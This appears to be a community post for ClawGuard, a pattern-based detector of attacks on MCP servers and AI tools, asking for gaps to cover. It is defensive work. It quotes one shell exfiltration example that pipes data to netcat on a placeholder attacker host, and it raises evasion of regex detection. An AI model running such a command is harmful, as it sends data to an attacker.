What attack patterns should ClawGuard detect next?

[joergmichno]

We currently detect 200 patterns across 15 languages (F1=97.3%). But there are always gaps.

Known gaps we are working on:

• Shell pipe exfiltration chains (echo data | nc attacker.com 4444)
• Content policy probing without explicit keywords
• Context-dependent attacks (same text, different intent)

What we would love to hear from you:

• What attack patterns have you seen in MCP servers that are not covered?
• Are there evasion techniques that bypass regex-based detection?
• Which languages should we prioritize for multilingual pattern expansion?

Every suggestion gets evaluated and if accepted, you get credited in the changelog.

Current benchmark: 265 test cases, open source in eval/dataset.json
Try it: https://prompttools.co/shield (free, no account needed)